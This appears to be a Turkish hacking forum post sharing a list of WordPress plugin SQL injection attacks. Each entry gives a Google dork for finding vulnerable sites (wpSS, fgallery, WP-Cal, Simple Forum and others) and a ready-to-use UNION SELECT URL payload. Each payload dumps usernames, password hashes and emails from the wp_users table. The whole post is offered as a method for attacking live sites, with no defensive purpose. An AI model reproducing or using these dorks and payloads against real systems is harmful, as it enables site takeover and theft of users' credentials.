Wordpres SQL Açıkları

[Admin]

Kendi Dökümanlarımdan Farklı Bir Hack Yöntemi
Şimdi birkaç wordprees sql açıklarını bir arada derleyim dork ve kodlarıyla veriyorum...
Bilenler çoğuunluktadır ama bilmeyen kardeşlerimizde vardır.

Dork : inurl:/wp-content/plugins/wpSS/

/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,conca t(user_login,0x3a,user_pass,0x3a,user_email),3,4+f rom+wp_users--&display=plain



Dork: inurl:"wp-download.php?dl_id="

/wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*


DORK 1 : allinurl: page_id album "photo"

/?page_id=13&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201


DORKS 1 :

Simple Forum - Version 2.0 (Build 207)
Simple Forum - Sürüm 2.1 (Build 22
Simple Forum - Version 2.1 (Build 236)


DORK 2 : allinurl: "sf-forum?forum"

sf-forum?forum=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*


Dork : inurl:/wp-content/plugins/fgallery/

/wordpress/wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--


Dorks : inurl:/wp-content/plugins/wp-cal/inurl:/WP-Cal/

/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--


google: Fredrik Fahlstad. Version: 1.7.4.

/?page_id=115&forumaction=showprofile&user=1+union+ select+null,concat(user_login,0x2f,user_pass,0x2f, user_email),null,null,null,null,null+from+wp_tbv_u sers/*


Selametle.